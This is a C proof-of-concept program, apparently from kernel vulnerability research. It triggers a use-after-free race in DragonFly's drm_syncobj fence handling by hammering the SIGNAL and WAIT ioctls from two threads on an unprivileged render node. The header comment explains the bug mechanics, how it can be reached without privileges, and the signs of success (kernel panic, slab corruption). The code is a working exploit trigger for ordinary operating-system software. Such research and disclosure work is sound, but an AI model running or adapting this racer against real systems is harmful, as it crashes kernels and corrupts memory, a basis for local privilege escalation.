DF-4510 / syncobj_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 | /* * DF-4510 โ drm_syncobj fence use-after-free racer * * Bug: drm_syncobj_fence_get() (include/drm/drm_syncobj.h:120-130) reads * syncobj->fence and takes a reference with dma_fence_get_rcu_safe() * (include/linux/dma-fence.h:189-199 == plain load + kref_get) under a * rcu_read_lock() that on DragonFly is ONLY preempt_disable() * (include/linux/rcupdate.h:46-56) โ no grace period whatsoever. * Concurrently, drm_syncobj_replace_fence() (drm_syncobj.c:170-196) swaps * the pointer under syncobj->lock and then, AFTER dropping the lock, * dma_fence_put(old_fence) (drm_syncobj.c:195) โ the stub fence created by * DRM_IOCTL_SYNCOBJ_SIGNAL has exactly one reference (held by the syncobj), * so the put frees it IMMEDIATELY via dma_fence_release -> kfree * (linux_fence.c:43-51, drm_syncobj_stub_fence_ops has no ->release). * * A waiter thread that loaded syncobj->fence before the swap but executes its * kref_get after the kfree performs an atomic increment on freed memory and * then uses the freed fence (dma_fence_is_signaled reads flags/dispatches * ops) โ kernel heap UAF (read+write), type-confusable via slab reuse. * * This program races: * thread "signal": DRM_IOCTL_SYNCOBJ_SIGNAL in a tight loop * (each call allocates a new signaled stub fence and * frees the previous one through replace_fence's put) * thread "wait": DRM_IOCTL_SYNCOBJ_WAIT with timeout_nsec=0 (poll) * in a tight loop (each call does drm_syncobj_fence_get) * * Reachable unprivileged through a render node: all syncobj ioctls are * DRM_UNLOCKED|DRM_RENDER_ALLOW (drm_ioctl.c:685-698) and the drivers that * set DRIVER_SYNCOBJ are i915 (i915_drv.c:3283-3285) and amdgpu * (amdgpu_drv.c:1302-1306). Needs SMP (>= 2 CPUs) for the interleave. * * Success criterion (on i915/amdgpu hardware): kernel panic / KASAN-style * splat / refcount or slab corruption within the run window, or (silent * corruption case) the waiter returning with a fence pointing into reused * slab memory. * * Build: cc -O2 -pthread -o syncobj_race syncobj_race.c * Usage: ./syncobj_race [seconds] (default 30) */ #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* ---- trimmed uapi (sys/dev/drm/include/uapi/drm/drm.h) ---- */ struct drm_syncobj_create { uint32_t handle; uint32_t flags; }; struct drm_syncobj_array { uint64_t handles; uint32_t count_handles; uint32_t pad; }; struct drm_syncobj_wait { uint64_t handles; int64_t timeout_nsec; uint32_t count_handles; uint32_t flags; uint32_t first_signaled; uint32_t pad; }; #define DRM_IOCTL_BASE 'd' #define DRM_SYNCOBJ_CREATE_SIGNALED (1u << 0) #define DRM_SYNCOBJ_WAIT_FLAGS_WAIT_ALL (1u << 0) #define DRM_SYNCOBJ_WAIT_FLAGS_WAIT_FOR_SUBMIT (1u << 1) #define DRM_SYNCOBJ_CREATE _IOWR(DRM_IOCTL_BASE, 0xBF, struct drm_syncobj_create) #define DRM_SYNCOBJ_WAIT _IOWR(DRM_IOCTL_BASE, 0xC3, struct drm_syncobj_wait) #define DRM_SYNCOBJ_SIGNAL _IOWR(DRM_IOCTL_BASE, 0xC5, struct drm_syncobj_array) static int drm_fd = -1; static uint32_t handle; static volatile int stop; static uint64_t wait_iters, sig_iters, wait_errs, sig_errs; static void * wait_thread(void *arg) { struct drm_syncobj_wait w; while (!stop) { memset(&w, 0, sizeof(w)); w.handles = (uintptr_t)&handle; w.timeout_nsec = 0; /* poll: immediate fence_get + return */ w.count_handles = 1; w.flags = 0; if (ioctl(drm_fd, DRM_SYNCOBJ_WAIT, &w) < 0) wait_errs++; wait_iters++; } return (NULL); } static void * signal_thread(void *arg) { struct drm_syncobj_array a; while (!stop) { memset(&a, 0, sizeof(a)); a.handles = (uintptr_t)&handle; a.count_handles = 1; if (ioctl(drm_fd, DRM_SYNCOBJ_SIGNAL, &a) < 0) sig_errs++; sig_iters++; } return (NULL); } static const char *candidates[] = { "/dev/dri/renderD128", "/dev/dri/renderD129", "/dev/dri/card0", "/dev/dri/card1", NULL }; int main(int argc, char **argv) { struct drm_syncobj_create c; pthread_t wt, st; int secs = (argc > 1) ? atoi(argv[1]) : 30; int i; for (i = 0; candidates[i] != NULL; i++) { drm_fd = open(candidates[i], O_RDWR); if (drm_fd >= 0) { printf("opened %s\n", candidates[i]); break; } printf("open %s: %s\n", candidates[i], strerror(errno)); } if (drm_fd < 0) { printf("NO DRM DEVICE NODE AVAILABLE on this machine.\n" "The DRM syncobj ioctls (DRIVER_SYNCOBJ: i915/amdgpu) " "cannot be reached; the race documented in VERDICT.md " "cannot be exercised here.\n"); return (2); } memset(&c, 0, sizeof(c)); c.flags = DRM_SYNCOBJ_CREATE_SIGNALED; if (ioctl(drm_fd, DRM_SYNCOBJ_CREATE, &c) < 0) { printf("SYNCOBJ_CREATE failed: %s (driver without " "DRIVER_SYNCOBJ returns EOPNOTSUPP)\n", strerror(errno)); return (3); } handle = c.handle; printf("syncobj handle %u; racing SIGNAL vs WAIT(0) for %ds...\n", handle, secs); pthread_create(&wt, NULL, wait_thread, NULL); pthread_create(&st, NULL, signal_thread, NULL); sleep(secs); stop = 1; pthread_join(wt, NULL); pthread_join(st, NULL); printf("wait ioctls: %llu (errs %llu), signal ioctls: %llu (errs %llu)\n", (unsigned long long)wait_iters, (unsigned long long)wait_errs, (unsigned long long)sig_iters, (unsigned long long)sig_errs); printf("If the kernel did not panic, check dmesg for slab/refcount " "splats. On hardware this is a UAF write (kref_get on freed " "dma_fence) + use of freed object.\n"); return (0); } |